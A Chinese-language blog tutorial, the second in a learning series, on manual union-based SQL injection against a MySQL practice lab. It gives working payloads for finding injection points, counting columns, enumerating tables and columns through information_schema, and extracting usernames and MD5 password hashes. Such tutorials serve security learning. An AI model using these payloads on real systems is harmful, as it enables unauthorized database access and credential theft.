上一篇介绍了sql注入的几种基础知识,没有看过的小伙伴可以看看我上一篇:

关于sql注入学习记录

这篇说说sql注入的几个初级基本步骤

测试注入点

我们可以在数字或字符后面加'若结果报错,再尝试'or 1=1#返回正确结果,这时sql语句为:select xxx where id='1'or 1=1#'LIMIT 0,1
那基本可以说明可注入,当然这只是最简单的一种

判断有几列

这里可以利用order by判断有几列,ORDER BY 原本是用于对结果集进行排序。
假如我们输入'order by 3#没有报错,而输入order by 4#提示错误,说明这里有三列数据

union联合注入

前面说过,union的作用是将两个sql语句进行联合,而且,union前后的两个sql语句的选择列数要相同才可以。
-1' union select 1,2,3,4#
在这里插入图片描述
回显2和3,说明可以再这个位置进行注入

注意,要是前面的为假才能执行union后面的语句

爆表名

  • 直接爆表名
    ?id='-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

  • 也可以先爆数据库名
    ?id='-1' union select 1,database(),3,4

    再爆表名:
    ?id='-1' union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

爆列名

?id='-1'union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

已经查看到name与password两个字段了,查询两个字段的value:

?id='-1'union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
在这里插入图片描述
成功拿到用户名和密码,密码使用md5加密,随便找个在线解密即可

练练手

看完了需要练练手加强记忆:
SQL手工注入漏洞测试(MySQL数据库)

本文作者:Author:     文章标题:sql注入学习记录(2)-sql注入基本步骤
本文地址:https://yuaneuro.cn/archives/83.html     
版权说明:若无注明,本文皆为“yuaneuro的小站”原创,转载请保留文章出处。
Last modification:April 9th, 2020 at 04:34 pm
如果觉得我的文章对你有用,请随意赞赏